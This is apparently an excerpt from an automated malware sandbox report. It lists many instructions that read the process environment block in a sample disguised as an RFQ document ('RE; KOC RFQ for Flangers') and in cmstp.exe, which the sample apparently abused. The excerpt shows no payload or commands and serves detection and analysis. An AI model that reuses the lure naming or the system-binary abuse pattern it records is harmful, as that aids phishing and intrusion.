Source: C:\Users\user\Desktop\RE; KOC RFQ for Flangers - RFQ 22965431.exe	Code function: 1_2_00A036CC mov eax, dword ptr fs:[00000030h]	1_2_00A036CC
Source: C:\Users\user\Desktop\RE; KOC RFQ for Flangers - RFQ 22965431.exe	Code function: 1_2_00AA8ED6 mov eax, dword ptr fs:[00000030h]	1_2_00AA8ED6
Source: C:\Users\user\Desktop\RE; KOC RFQ for Flangers - RFQ 22965431.exe	Code function: 1_2_009E76E2 mov eax, dword ptr fs:[00000030h]	1_2_009E76E2
Source: C:\Users\user\Desktop\RE; KOC RFQ for Flangers - RFQ 22965431.exe	Code function: 1_2_00A8FE3F mov eax, dword ptr fs:[00000030h]	1_2_00A8FE3F
Source: C:\Users\user\Desktop\RE; KOC RFQ for Flangers - RFQ 22965431.exe	Code function: 1_2_009DC600 mov eax, dword ptr fs:[00000030h]	1_2_009DC600
Source: C:\Users\user\Desktop\RE; KOC RFQ for Flangers - RFQ 22965431.exe	Code function: 1_2_009DC600 mov eax, dword ptr fs:[00000030h]	1_2_009DC600
Source: C:\Users\user\Desktop\RE; KOC RFQ for Flangers - RFQ 22965431.exe	Code function: 1_2_009DC600 mov eax, dword ptr fs:[00000030h]	1_2_009DC600
Source: C:\Users\user\Desktop\RE; KOC RFQ for Flangers - RFQ 22965431.exe	Code function: 1_2_00A08E00 mov eax, dword ptr fs:[00000030h]	1_2_00A08E00
Source: C:\Users\user\Desktop\RE; KOC RFQ for Flangers - RFQ 22965431.exe	Code function: 1_2_00A91608 mov eax, dword ptr fs:[00000030h]	1_2_00A91608
Source: C:\Users\user\Desktop\RE; KOC RFQ for Flangers - RFQ 22965431.exe	Code function: 1_2_00A0A61C mov eax, dword ptr fs:[00000030h]	1_2_00A0A61C
Source: C:\Users\user\Desktop\RE; KOC RFQ for Flangers - RFQ 22965431.exe	Code function: 1_2_00A0A61C mov eax, dword ptr fs:[00000030h]	1_2_00A0A61C
Source: C:\Users\user\Desktop\RE; KOC RFQ for Flangers - RFQ 22965431.exe	Code function: 1_2_009DE620 mov eax, dword ptr fs:[00000030h]	1_2_009DE620
Source: C:\Users\user\Desktop\RE; KOC RFQ for Flangers - RFQ 22965431.exe	Code function: 1_2_009E7E41 mov eax, dword ptr fs:[00000030h]	1_2_009E7E41
Source: C:\Users\user\Desktop\RE; KOC RFQ for Flangers - RFQ 22965431.exe	Code function: 1_2_009E7E41 mov eax, dword ptr fs:[00000030h]	1_2_009E7E41
Source: C:\Users\user\Desktop\RE; KOC RFQ for Flangers - RFQ 22965431.exe	Code function: 1_2_009E7E41 mov eax, dword ptr fs:[00000030h]	1_2_009E7E41
Source: C:\Users\user\Desktop\RE; KOC RFQ for Flangers - RFQ 22965431.exe	Code function: 1_2_009E7E41 mov eax, dword ptr fs:[00000030h]	1_2_009E7E41
Source: C:\Users\user\Desktop\RE; KOC RFQ for Flangers - RFQ 22965431.exe	Code function: 1_2_009E7E41 mov eax, dword ptr fs:[00000030h]	1_2_009E7E41
Source: C:\Users\user\Desktop\RE; KOC RFQ for Flangers - RFQ 22965431.exe	Code function: 1_2_009E7E41 mov eax, dword ptr fs:[00000030h]	1_2_009E7E41
Source: C:\Users\user\Desktop\RE; KOC RFQ for Flangers - RFQ 22965431.exe	Code function: 1_2_009FAE73 mov eax, dword ptr fs:[00000030h]	1_2_009FAE73
Source: C:\Users\user\Desktop\RE; KOC RFQ for Flangers - RFQ 22965431.exe	Code function: 1_2_009FAE73 mov eax, dword ptr fs:[00000030h]	1_2_009FAE73
Source: C:\Users\user\Desktop\RE; KOC RFQ for Flangers - RFQ 22965431.exe	Code function: 1_2_009FAE73 mov eax, dword ptr fs:[00000030h]	1_2_009FAE73
Source: C:\Users\user\Desktop\RE; KOC RFQ for Flangers - RFQ 22965431.exe	Code function: 1_2_009FAE73 mov eax, dword ptr fs:[00000030h]	1_2_009FAE73
Source: C:\Users\user\Desktop\RE; KOC RFQ for Flangers - RFQ 22965431.exe	Code function: 1_2_009FAE73 mov eax, dword ptr fs:[00000030h]	1_2_009FAE73
Source: C:\Users\user\Desktop\RE; KOC RFQ for Flangers - RFQ 22965431.exe	Code function: 1_2_00A9AE44 mov eax, dword ptr fs:[00000030h]	1_2_00A9AE44
Source: C:\Users\user\Desktop\RE; KOC RFQ for Flangers - RFQ 22965431.exe	Code function: 1_2_00A9AE44 mov eax, dword ptr fs:[00000030h]	1_2_00A9AE44
Source: C:\Users\user\Desktop\RE; KOC RFQ for Flangers - RFQ 22965431.exe	Code function: 1_2_009E766D mov eax, dword ptr fs:[00000030h]	1_2_009E766D
Source: C:\Users\user\Desktop\RE; KOC RFQ for Flangers - RFQ 22965431.exe	Code function: 1_2_009E8794 mov eax, dword ptr fs:[00000030h]	1_2_009E8794
Source: C:\Users\user\Desktop\RE; KOC RFQ for Flangers - RFQ 22965431.exe	Code function: 1_2_00A57794 mov eax, dword ptr fs:[00000030h]	1_2_00A57794
Source: C:\Users\user\Desktop\RE; KOC RFQ for Flangers - RFQ 22965431.exe	Code function: 1_2_00A57794 mov eax, dword ptr fs:[00000030h]	1_2_00A57794
Source: C:\Users\user\Desktop\RE; KOC RFQ for Flangers - RFQ 22965431.exe	Code function: 1_2_00A57794 mov eax, dword ptr fs:[00000030h]	1_2_00A57794
Source: C:\Users\user\Desktop\RE; KOC RFQ for Flangers - RFQ 22965431.exe	Code function: 1_2_00A137F5 mov eax, dword ptr fs:[00000030h]	1_2_00A137F5
Source: C:\Users\user\Desktop\RE; KOC RFQ for Flangers - RFQ 22965431.exe	Code function: 1_2_009FF716 mov eax, dword ptr fs:[00000030h]	1_2_009FF716
Source: C:\Users\user\Desktop\RE; KOC RFQ for Flangers - RFQ 22965431.exe	Code function: 1_2_00A0E730 mov eax, dword ptr fs:[00000030h]	1_2_00A0E730
Source: C:\Users\user\Desktop\RE; KOC RFQ for Flangers - RFQ 22965431.exe	Code function: 1_2_00AA070D mov eax, dword ptr fs:[00000030h]	1_2_00AA070D
Source: C:\Users\user\Desktop\RE; KOC RFQ for Flangers - RFQ 22965431.exe	Code function: 1_2_00AA070D mov eax, dword ptr fs:[00000030h]	1_2_00AA070D
Source: C:\Users\user\Desktop\RE; KOC RFQ for Flangers - RFQ 22965431.exe	Code function: 1_2_00A0A70E mov eax, dword ptr fs:[00000030h]	1_2_00A0A70E
Source: C:\Users\user\Desktop\RE; KOC RFQ for Flangers - RFQ 22965431.exe	Code function: 1_2_00A0A70E mov eax, dword ptr fs:[00000030h]	1_2_00A0A70E
Source: C:\Users\user\Desktop\RE; KOC RFQ for Flangers - RFQ 22965431.exe	Code function: 1_2_009D4F2E mov eax, dword ptr fs:[00000030h]	1_2_009D4F2E
Source: C:\Users\user\Desktop\RE; KOC RFQ for Flangers - RFQ 22965431.exe	Code function: 1_2_009D4F2E mov eax, dword ptr fs:[00000030h]	1_2_009D4F2E
Source: C:\Users\user\Desktop\RE; KOC RFQ for Flangers - RFQ 22965431.exe	Code function: 1_2_00A6FF10 mov eax, dword ptr fs:[00000030h]	1_2_00A6FF10
Source: C:\Users\user\Desktop\RE; KOC RFQ for Flangers - RFQ 22965431.exe	Code function: 1_2_00A6FF10 mov eax, dword ptr fs:[00000030h]	1_2_00A6FF10
Source: C:\Users\user\Desktop\RE; KOC RFQ for Flangers - RFQ 22965431.exe	Code function: 1_2_00AA8F6A mov eax, dword ptr fs:[00000030h]	1_2_00AA8F6A
Source: C:\Users\user\Desktop\RE; KOC RFQ for Flangers - RFQ 22965431.exe	Code function: 1_2_009EEF40 mov eax, dword ptr fs:[00000030h]	1_2_009EEF40
Source: C:\Users\user\Desktop\RE; KOC RFQ for Flangers - RFQ 22965431.exe	Code function: 1_2_009EFF60 mov eax, dword ptr fs:[00000030h]	1_2_009EFF60
Source: C:\Windows\SysWOW64\cmstp.exe	Code function: 8_2_05158D34 mov eax, dword ptr fs:[00000030h]	8_2_05158D34
Source: C:\Windows\SysWOW64\cmstp.exe	Code function: 8_2_0510A537 mov eax, dword ptr fs:[00000030h]	8_2_0510A537
Source: C:\Windows\SysWOW64\cmstp.exe	Code function: 8_2_0514E539 mov eax, dword ptr fs:[00000030h]	8_2_0514E539
Source: C:\Windows\SysWOW64\cmstp.exe	Code function: 8_2_050B4D3B mov eax, dword ptr fs:[00000030h]	8_2_050B4D3B
Source: C:\Windows\SysWOW64\cmstp.exe	Code function: 8_2_050B4D3B mov eax, dword ptr fs:[00000030h]	8_2_050B4D3B
Source: C:\Windows\SysWOW64\cmstp.exe	Code function: 8_2_050B4D3B mov eax, dword ptr fs:[00000030h]	8_2_050B4D3B
Source: C:\Windows\SysWOW64\cmstp.exe	Code function: 8_2_0508AD30 mov eax, dword ptr fs:[00000030h]	8_2_0508AD30
Source: C:\Windows\SysWOW64\cmstp.exe	Code function: 8_2_05093D34 mov eax, dword ptr fs:[00000030h]	8_2_05093D34
Source: C:\Windows\SysWOW64\cmstp.exe	Code function: 8_2_05093D34 mov eax, dword ptr fs:[00000030h]	8_2_05093D34
Source: C:\Windows\SysWOW64\cmstp.exe	Code function: 8_2_05093D34 mov eax, dword ptr fs:[00000030h]	8_2_05093D34
Source: C:\Windows\SysWOW64\cmstp.exe	Code function: 8_2_05093D34 mov eax, dword ptr fs:[00000030h]	8_2_05093D34
Source: C:\Windows\SysWOW64\cmstp.exe	Code function: 8_2_05093D34 mov eax, dword ptr fs:[00000030h]	8_2_05093D34
Source: C:\Windows\SysWOW64\cmstp.exe	Code function: 8_2_05093D34 mov eax, dword ptr fs:[00000030h]	8_2_05093D34
Source: C:\Windows\SysWOW64\cmstp.exe	Code function: 8_2_05093D34 mov eax, dword ptr fs:[00000030h]	8_2_05093D34
Source: C:\Windows\SysWOW64\cmstp.exe	Code function: 8_2_05093D34 mov eax, dword ptr fs:[00000030h]	8_2_05093D34
Source: C:\Windows\SysWOW64\cmstp.exe	Code function: 8_2_05093D34 mov eax, dword ptr fs:[00000030h]	8_2_05093D34
Source: C:\Windows\SysWOW64\cmstp.exe	Code function: 8_2_05093D34 mov eax, dword ptr fs:[00000030h]	8_2_05093D34
Source: C:\Windows\SysWOW64\cmstp.exe	Code function: 8_2_05093D34 mov eax, dword ptr fs:[00000030h]	8_2_05093D34
Source: C:\Windows\SysWOW64\cmstp.exe	Code function: 8_2_05093D34 mov eax, dword ptr fs:[00000030h]	8_2_05093D34
Source: C:\Windows\SysWOW64\cmstp.exe	Code function: 8_2_05093D34 mov eax, dword ptr fs:[00000030h]	8_2_05093D34
Source: C:\Windows\SysWOW64\cmstp.exe	Code function: 8_2_050C3D43 mov eax, dword ptr fs:[00000030h]	8_2_050C3D43
Source: C:\Windows\SysWOW64\cmstp.exe	Code function: 8_2_05103540 mov eax, dword ptr fs:[00000030h]	8_2_05103540
Source: C:\Windows\SysWOW64\cmstp.exe	Code function: 8_2_050A7D50 mov eax, dword ptr fs:[00000030h]	8_2_050A7D50
Source: C:\Windows\SysWOW64\cmstp.exe	Code function: 8_2_050AC577 mov eax, dword ptr fs:[00000030h]	8_2_050AC577
Source: C:\Windows\SysWOW64\cmstp.exe	Code function: 8_2_050AC577 mov eax, dword ptr fs:[00000030h]	8_2_050AC577
Source: C:\Windows\SysWOW64\cmstp.exe	Code function: 8_2_05082D8A mov eax, dword ptr fs:[00000030h]	8_2_05082D8A
Source: C:\Windows\SysWOW64\cmstp.exe	Code function: 8_2_05082D8A mov eax, dword ptr fs:[00000030h]	8_2_05082D8A
Source: C:\Windows\SysWOW64\cmstp.exe	Code function: 8_2_05082D8A mov eax, dword ptr fs:[00000030h]	8_2_05082D8A
Source: C:\Windows\SysWOW64\cmstp.exe	Code function: 8_2_05082D8A mov eax, dword ptr fs:[00000030h]	8_2_05082D8A
Source: C:\Windows\SysWOW64\cmstp.exe	Code function: 8_2_05082D8A mov eax, dword ptr fs:[00000030h]	8_2_05082D8A
Source: C:\Windows\SysWOW64\cmstp.exe	Code function: 8_2_050BFD9B mov eax, dword ptr fs:[00000030h]	8_2_050BFD9B
Source: C:\Windows\SysWOW64\cmstp.exe	Code function: 8_2_050BFD9B mov eax, dword ptr fs:[00000030h]	8_2_050BFD9B
Source: C:\Windows\SysWOW64\cmstp.exe	Code function: 8_2_050B35A1 mov eax, dword ptr fs:[00000030h]	8_2_050B35A1
Source: C:\Windows\SysWOW64\cmstp.exe	Code function: 8_2_051505AC mov eax, dword ptr fs:[00000030h]	8_2_051505AC
Source: C:\Windows\SysWOW64\cmstp.exe	Code function: 8_2_051505AC mov eax, dword ptr fs:[00000030h]	8_2_051505AC
Source: C:\Windows\SysWOW64\cmstp.exe	Code function: 8_2_050B1DB5 mov eax, dword ptr fs:[00000030h]	8_2_050B1DB5
Source: C:\Windows\SysWOW64\cmstp.exe	Code function: 8_2_050B1DB5 mov eax, dword ptr fs:[00000030h]	8_2_050B1DB5
Source: C:\Windows\SysWOW64\cmstp.exe	Code function: 8_2_050B1DB5 mov eax, dword ptr fs:[00000030h]	8_2_050B1DB5
Source: C:\Windows\SysWOW64\cmstp.exe	Code function: 8_2_05106DC9 mov eax, dword ptr fs:[00000030h]	8_2_05106DC9
Source: C:\Windows\SysWOW64\cmstp.exe	Code function: 8_2_05106DC9 mov eax, dword ptr fs:[00000030h]	8_2_05106DC9
Source: C:\Windows\SysWOW64\cmstp.exe	Code function: 8_2_05106DC9 mov eax, dword ptr fs:[00000030h]	8_2_05106DC9
Source: C:\Windows\SysWOW64\cmstp.exe	Code function: 8_2_05106DC9 mov ecx, dword ptr fs:[00000030h]	8_2_05106DC9
Source: C:\Windows\SysWOW64\cmstp.exe	Code function: 8_2_05106DC9 mov eax, dword ptr fs:[00000030h]	8_2_05106DC9
Source: C:\Windows\SysWOW64\cmstp.exe	Code function: 8_2_05106DC9 mov eax, dword ptr fs:[00000030h]	8_2_05106DC9
Source: C:\Windows\SysWOW64\cmstp.exe	Code function: 8_2_05138DF1 mov eax, dword ptr fs:[00000030h]	8_2_05138DF1
Source: C:\Windows\SysWOW64\cmstp.exe	Code function: 8_2_0509D5E0 mov eax, dword ptr fs:[00000030h]	8_2_0509D5E0
Source: C:\Windows\SysWOW64\cmstp.exe	Code function: 8_2_0509D5E0 mov eax, dword ptr fs:[00000030h]	8_2_0509D5E0
Source: C:\Windows\SysWOW64\cmstp.exe	Code function: 8_2_0514FDE2 mov eax, dword ptr fs:[00000030h]	8_2_0514FDE2
Source: C:\Windows\SysWOW64\cmstp.exe	Code function: 8_2_0514FDE2 mov eax, dword ptr fs:[00000030h]	8_2_0514FDE2
Source: C:\Windows\SysWOW64\cmstp.exe	Code function: 8_2_0514FDE2 mov eax, dword ptr fs:[00000030h]	8_2_0514FDE2
Source: C:\Windows\SysWOW64\cmstp.exe	Code function: 8_2_0514FDE2 mov eax, dword ptr fs:[00000030h]	8_2_0514FDE2
Source: C:\Windows\SysWOW64\cmstp.exe	Code function: 8_2_05141C06 mov eax, dword ptr fs:[00000030h]	8_2_05141C06
Source: C:\Windows\SysWOW64\cmstp.exe	Code function: 8_2_05141C06 mov eax, dword ptr fs:[00000030h]	8_2_05141C06
Source: C:\Windows\SysWOW64\cmstp.exe	Code function: 8_2_05141C06 mov eax, dword ptr fs:[00000030h]	8_2_05141C06
Source: C:\Windows\SysWOW64\cmstp.exe	Code function: 8_2_05141C06 mov eax, dword ptr fs:[00000030h]	8_2_05141C06
Source: C:\Windows\SysWOW64\cmstp.exe	Code function: 8_2_05141C06 mov eax, dword ptr fs:[00000030h]	8_2_05141C06
Source: C:\Windows\SysWOW64\cmstp.exe	Code function: 8_2_05141C06 mov eax, dword ptr fs:[00000030h]	8_2_05141C06
Source: C:\Windows\SysWOW64\cmstp.exe	Code function: 8_2_05141C06 mov eax, dword ptr fs:[00000030h]	8_2_05141C06
Source: C:\Windows\SysWOW64\cmstp.exe	Code function: 8_2_05141C06 mov eax, dword ptr fs:[00000030h]	8_2_05141C06
Source: C:\Windows\SysWOW64\cmstp.exe	Code function: 8_2_05141C06 mov eax, dword ptr fs:[00000030h]	8_2_05141C06
Source: C:\Windows\SysWOW64\cmstp.exe	Code function: 8_2_05141C06 mov eax, dword ptr fs:[00000030h]	8_2_05141C06
Source: C:\Windows\SysWOW64\cmstp.exe	Code function: 8_2_05141C06 mov eax, dword ptr fs:[00000030h]	8_2_05141C06
Source: C:\Windows\SysWOW64\cmstp.exe	Code function: 8_2_05141C06 mov eax, dword ptr fs:[00000030h]	8_2_05141C06
Source: C:\Windows\SysWOW64\cmstp.exe	Code function: 8_2_05141C06 mov eax, dword ptr fs:[00000030h]	8_2_05141C06
Source: C:\Windows\SysWOW64\cmstp.exe	Code function: 8_2_05141C06 mov eax, dword ptr fs:[00000030h]	8_2_05141C06
Source: C:\Windows\SysWOW64\cmstp.exe	Code function: 8_2_0515740D mov eax, dword ptr fs:[00000030h]	8_2_0515740D
Source: C:\Windows\SysWOW64\cmstp.exe	Code function: 8_2_0515740D mov eax, dword ptr fs:[00000030h]	8_2_0515740D
Source: C:\Windows\SysWOW64\cmstp.exe	Code function: 8_2_0515740D mov eax, dword ptr fs:[00000030h]	8_2_0515740D
Source: C:\Windows\SysWOW64\cmstp.exe	Code function: 8_2_05106C0A mov eax, dword ptr fs:[00000030h]	8_2_05106C0A
Source: C:\Windows\SysWOW64\cmstp.exe	Code function: 8_2_05106C0A mov eax, dword ptr fs:[00000030h]	8_2_05106C0A
Source: C:\Windows\SysWOW64\cmstp.exe	Code function: 8_2_05106C0A mov eax, dword ptr fs:[00000030h]	8_2_05106C0A
Source: C:\Windows\SysWOW64\cmstp.exe	Code function: 8_2_05106C0A mov eax, dword ptr fs:[00000030h]	8_2_05106C0A
Source: C:\Windows\SysWOW64\cmstp.exe	Code function: 8_2_050BBC2C mov eax, dword ptr fs:[00000030h]	8_2_050BBC2C
Source: C:\Windows\SysWOW64\cmstp.exe	Code function: 8_2_050BA44B mov eax, dword ptr fs:[00000030h]	8_2_050BA44B
Source: C:\Windows\SysWOW64\cmstp.exe	Code function: 8_2_0511C450 mov eax, dword ptr fs:[00000030h]	8_2_0511C450
Source: C:\Windows\SysWOW64\cmstp.exe	Code function: 8_2_0511C450 mov eax, dword ptr fs:[00000030h]	8_2_0511C450
Source: C:\Windows\SysWOW64\cmstp.exe	Code function: 8_2_050A746D mov eax, dword ptr fs:[00000030h]	8_2_050A746D
Source: C:\Windows\SysWOW64\cmstp.exe	Code function: 8_2_0509849B mov eax, dword ptr fs:[00000030h]	8_2_0509849B
Source: C:\Windows\SysWOW64\cmstp.exe	Code function: 8_2_05158CD6 mov eax, dword ptr fs:[00000030h]	8_2_05158CD6
Source: C:\Windows\SysWOW64\cmstp.exe	Code function: 8_2_05106CF0 mov eax, dword ptr fs:[00000030h]	8_2_05106CF0
Source: C:\Windows\SysWOW64\cmstp.exe	Code function: 8_2_05106CF0 mov eax, dword ptr fs:[00000030h]	8_2_05106CF0
Source: C:\Windows\SysWOW64\cmstp.exe	Code function: 8_2_05106CF0 mov eax, dword ptr fs:[00000030h]	8_2_05106CF0
Source: C:\Windows\SysWOW64\cmstp.exe	Code function: 8_2_051414FB mov eax, dword ptr fs:[00000030h]	8_2_051414FB
Source: C:\Windows\SysWOW64\cmstp.exe	Code function: 8_2_0511FF10 mov eax, dword ptr fs:[00000030h]	8_2_0511FF10
Source: C:\Windows\SysWOW64\cmstp.exe	Code function: 8_2_0511FF10 mov eax, dword ptr fs:[00000030h]	8_2_0511FF10
Source: C:\Windows\SysWOW64\cmstp.exe	Code function: 8_2_050BA70E mov eax, dword ptr fs:[00000030h]	8_2_050BA70E
Source: C:\Windows\SysWOW64\cmstp.exe	Code function: 8_2_050BA70E mov eax, dword ptr fs:[00000030h]	8_2_050BA70E
Source: C:\Windows\SysWOW64\cmstp.exe	Code function: 8_2_0515070D mov eax, dword ptr fs:[00000030h]	8_2_0515070D
Source: C:\Windows\SysWOW64\cmstp.exe	Code function: 8_2_0515070D mov eax, dword ptr fs:[00000030h]	8_2_0515070D
Source: C:\Windows\SysWOW64\cmstp.exe	Code function: 8_2_050AF716 mov eax, dword ptr fs:[00000030h]	8_2_050AF716
Source: C:\Windows\SysWOW64\cmstp.exe	Code function: 8_2_05084F2E mov eax, dword ptr fs:[00000030h]	8_2_05084F2E
Source: C:\Windows\SysWOW64\cmstp.exe	Code function: 8_2_05084F2E mov eax, dword ptr fs:[00000030h]	8_2_05084F2E
Source: C:\Windows\SysWOW64\cmstp.exe	Code function: 8_2_050BE730 mov eax, dword ptr fs:[00000030h]	8_2_050BE730
Source: C:\Windows\SysWOW64\cmstp.exe	Code function: 8_2_0509EF40 mov eax, dword ptr fs:[00000030h]	8_2_0509EF40
Source: C:\Windows\SysWOW64\cmstp.exe	Code function: 8_2_0509FF60 mov eax, dword ptr fs:[00000030h]	8_2_0509FF60
Source: C:\Windows\SysWOW64\cmstp.exe	Code function: 8_2_05158F6A mov eax, dword ptr fs:[00000030h]	8_2_05158F6A
Source: C:\Windows\SysWOW64\cmstp.exe	Code function: 8_2_05107794 mov eax, dword ptr fs:[00000030h]	8_2_05107794
Source: C:\Windows\SysWOW64\cmstp.exe	Code function: 8_2_05107794 mov eax, dword ptr fs:[00000030h]	8_2_05107794
Source: C:\Windows\SysWOW64\cmstp.exe	Code function: 8_2_05107794 mov eax, dword ptr fs:[00000030h]	8_2_05107794
Source: C:\Windows\SysWOW64\cmstp.exe	Code function: 8_2_05098794 mov eax, dword ptr fs:[00000030h]	8_2_05098794
Source: C:\Windows\SysWOW64\cmstp.exe	Code function: 8_2_050C37F5 mov eax, dword ptr fs:[00000030h]	8_2_050C37F5
Source: C:\Windows\SysWOW64\cmstp.exe	Code function: 8_2_0508C600 mov eax, dword ptr fs:[00000030h]	8_2_0508C600
Source: C:\Windows\SysWOW64\cmstp.exe	Code function: 8_2_0508C600 mov eax, dword ptr fs:[00000030h]	8_2_0508C600
Source: C:\Windows\SysWOW64\cmstp.exe	Code function: 8_2_0508C600 mov eax, dword ptr fs:[00000030h]	8_2_0508C600
Source: C:\Windows\SysWOW64\cmstp.exe	Code function: 8_2_050B8E00 mov eax, dword ptr fs:[00000030h]	8_2_050B8E00
Source: C:\Windows\SysWOW64\cmstp.exe	Code function: 8_2_050BA61C mov eax, dword ptr fs:[00000030h]	8_2_050BA61C
Source: C:\Windows\SysWOW64\cmstp.exe	Code function: 8_2_050BA61C mov eax, dword ptr fs:[00000030h]	8_2_050BA61C
Source: C:\Windows\SysWOW64\cmstp.exe	Code function: 8_2_05141608 mov eax, dword ptr fs:[00000030h]	8_2_05141608
Source: C:\Windows\SysWOW64\cmstp.exe	Code function: 8_2_0508E620 mov eax, dword ptr fs:[00000030h]	8_2_0508E620
Source: C:\Windows\SysWOW64\cmstp.exe	Code function: 8_2_0513FE3F mov eax, dword ptr fs:[00000030h]	8_2_0513FE3F
Source: C:\Windows\SysWOW64\cmstp.exe	Code function: 8_2_05097E41 mov eax, dword ptr fs:[00000030h]	8_2_05097E41
Source: C:\Windows\SysWOW64\cmstp.exe	Code function: 8_2_05097E41 mov eax, dword ptr fs:[00000030h]	8_2_05097E41
Source: C:\Windows\SysWOW64\cmstp.exe	Code function: 8_2_05097E41 mov eax, dword ptr fs:[00000030h]	8_2_05097E41
Source: C:\Windows\SysWOW64\cmstp.exe	Code function: 8_2_05097E41 mov eax, dword ptr fs:[00000030h]	8_2_05097E41
Source: C:\Windows\SysWOW64\cmstp.exe	Code function: 8_2_05097E41 mov eax, dword ptr fs:[00000030h]	8_2_05097E41
Source: C:\Windows\SysWOW64\cmstp.exe	Code function: 8_2_05097E41 mov eax, dword ptr fs:[00000030h]	8_2_05097E41
Source: C:\Windows\SysWOW64\cmstp.exe	Code function: 8_2_0514AE44 mov eax, dword ptr fs:[00000030h]	8_2_0514AE44
Source: C:\Windows\SysWOW64\cmstp.exe	Code function: 8_2_0514AE44 mov eax, dword ptr fs:[00000030h]	8_2_0514AE44
Source: C:\Windows\SysWOW64\cmstp.exe	Code function: 8_2_0509766D mov eax, dword ptr fs:[00000030h]	8_2_0509766D
Source: C:\Windows\SysWOW64\cmstp.exe	Code function: 8_2_050AAE73 mov eax, dword ptr fs:[00000030h]	8_2_050AAE73
Source: C:\Windows\SysWOW64\cmstp.exe	Code function: 8_2_050AAE73 mov eax, dword ptr fs:[00000030h]	8_2_050AAE73
Source: C:\Windows\SysWOW64\cmstp.exe	Code function: 8_2_050AAE73 mov eax, dword ptr fs:[00000030h]	8_2_050AAE73
Source: C:\Windows\SysWOW64\cmstp.exe	Code function: 8_2_050AAE73 mov eax, dword ptr fs:[00000030h]	8_2_050AAE73
Source: C:\Windows\SysWOW64\cmstp.exe	Code function: 8_2_050AAE73 mov eax, dword ptr fs:[00000030h]	8_2_050AAE73
Source: C:\Windows\SysWOW64\cmstp.exe	Code function: 8_2_0511FE87 mov eax, dword ptr fs:[00000030h]	8_2_0511FE87
Source: C:\Windows\SysWOW64\cmstp.exe	Code function: 8_2_05150EA5 mov eax, dword ptr fs:[00000030h]	8_2_05150EA5
Source: C:\Windows\SysWOW64\cmstp.exe	Code function: 8_2_05150EA5 mov eax, dword ptr fs:[00000030h]	8_2_05150EA5
Source: C:\Windows\SysWOW64\cmstp.exe	Code function: 8_2_05150EA5 mov eax, dword ptr fs:[00000030h]	8_2_05150EA5
Source: C:\Windows\SysWOW64\cmstp.exe	Code function: 8_2_051046A7 mov eax, dword ptr fs:[00000030h]	8_2_051046A7
Source: C:\Windows\SysWOW64\cmstp.exe	Code function: 8_2_05158ED6 mov eax, dword ptr fs:[00000030h]	8_2_05158ED6
Source: C:\Windows\SysWOW64\cmstp.exe	Code function: 8_2_050B36CC mov eax, dword ptr fs:[00000030h]	8_2_050B36CC
Source: C:\Windows\SysWOW64\cmstp.exe	Code function: 8_2_050C8EC7 mov eax, dword ptr fs:[00000030h]	8_2_050C8EC7
Source: C:\Windows\SysWOW64\cmstp.exe	Code function: 8_2_0513FEC0 mov eax, dword ptr fs:[00000030h]	8_2_0513FEC0
Source: C:\Windows\SysWOW64\cmstp.exe	Code function: 8_2_050B16E0 mov ecx, dword ptr fs:[00000030h]	8_2_050B16E0
Source: C:\Windows\SysWOW64\cmstp.exe	Code function: 8_2_050976E2 mov eax, dword ptr fs:[00000030h]	8_2_050976E2
Source: C:\Windows\SysWOW64\cmstp.exe	Code function: 8_2_05089100 mov eax, dword ptr fs:[00000030h]	8_2_05089100
Source: C:\Windows\SysWOW64\cmstp.exe	Code function: 8_2_05089100 mov eax, dword ptr fs:[00000030h]	8_2_05089100
Source: C:\Windows\SysWOW64\cmstp.exe	Code function: 8_2_05089100 mov eax, dword ptr fs:[00000030h]	8_2_05089100
Source: C:\Windows\SysWOW64\cmstp.exe	Code function: 8_2_050A4120 mov eax, dword ptr fs:[00000030h]	8_2_050A4120
Source: C:\Windows\SysWOW64\cmstp.exe	Code function: 8_2_050A4120 mov eax, dword ptr fs:[00000030h]	8_2_050A4120
Source: C:\Windows\SysWOW64\cmstp.exe	Code function: 8_2_050A4120 mov eax, dword ptr fs:[00000030h]	8_2_050A4120
Source: C:\Windows\SysWOW64\cmstp.exe	Code function: 8_2_050A4120 mov eax, dword ptr fs:[00000030h]	8_2_050A4120
Source: C:\Windows\SysWOW64\cmstp.exe	Code function: 8_2_050A4120 mov ecx, dword ptr fs:[00000030h]	8_2_050A4120
Source: C:\Windows\SysWOW64\cmstp.exe	Code function: 8_2_050B513A mov eax, dword ptr fs:[00000030h]	8_2_050B513A
Source: C:\Windows\SysWOW64\cmstp.exe	Code function: 8_2_050B513A mov eax, dword ptr fs:[00000030h]	8_2_050B513A
Source: C:\Windows\SysWOW64\cmstp.exe	Code function: 8_2_050AB944 mov eax, dword ptr fs:[00000030h]	8_2_050AB944
Source: C:\Windows\SysWOW64\cmstp.exe	Code function: 8_2_050AB944 mov eax, dword ptr fs:[00000030h]	8_2_050AB944
Source: C:\Windows\SysWOW64\cmstp.exe	Code function: 8_2_0508C962 mov eax, dword ptr fs:[00000030h]	8_2_0508C962
Source: C:\Windows\SysWOW64\cmstp.exe	Code function: 8_2_0508B171 mov eax, dword ptr fs:[00000030h]	8_2_0508B171
Source: C:\Windows\SysWOW64\cmstp.exe	Code function: 8_2_0508B171 mov eax, dword ptr fs:[00000030h]	8_2_0508B171
Source: C:\Windows\SysWOW64\cmstp.exe	Code function: 8_2_050AC182 mov eax, dword ptr fs:[00000030h]	8_2_050AC182
Source: C:\Windows\SysWOW64\cmstp.exe	Code function: 8_2_050BA185 mov eax, dword ptr fs:[00000030h]	8_2_050BA185
Source: C:\Windows\SysWOW64\cmstp.exe	Code function: 8_2_050B2990 mov eax, dword ptr fs:[00000030h]	8_2_050B2990
Source: C:\Windows\SysWOW64\cmstp.exe	Code function: 8_2_050B61A0 mov eax, dword ptr fs:[00000030h]	8_2_050B61A0
Source: C:\Windows\SysWOW64\cmstp.exe	Code function: 8_2_050B61A0 mov eax, dword ptr fs:[00000030h]	8_2_050B61A0
Source: C:\Windows\SysWOW64\cmstp.exe	Code function: 8_2_051051BE mov eax, dword ptr fs:[00000030h]	8_2_051051BE
Source: C:\Windows\SysWOW64\cmstp.exe	Code function: 8_2_051051BE mov eax, dword ptr fs:[00000030h]	8_2_051051BE
Source: C:\Windows\SysWOW64\cmstp.exe	Code function: 8_2_051051BE mov eax, dword ptr fs:[00000030h]	8_2_051051BE
Source: C:\Windows\SysWOW64\cmstp.exe	Code function: 8_2_051051BE mov eax, dword ptr fs:[00000030h]	8_2_051051BE
Source: C:\Windows\SysWOW64\cmstp.exe	Code function: 8_2_051069A6 mov eax, dword ptr fs:[00000030h]	8_2_051069A6
Source: C:\Windows\SysWOW64\cmstp.exe	Code function: 8_2_0508B1E1 mov eax, dword ptr fs:[00000030h]	8_2_0508B1E1
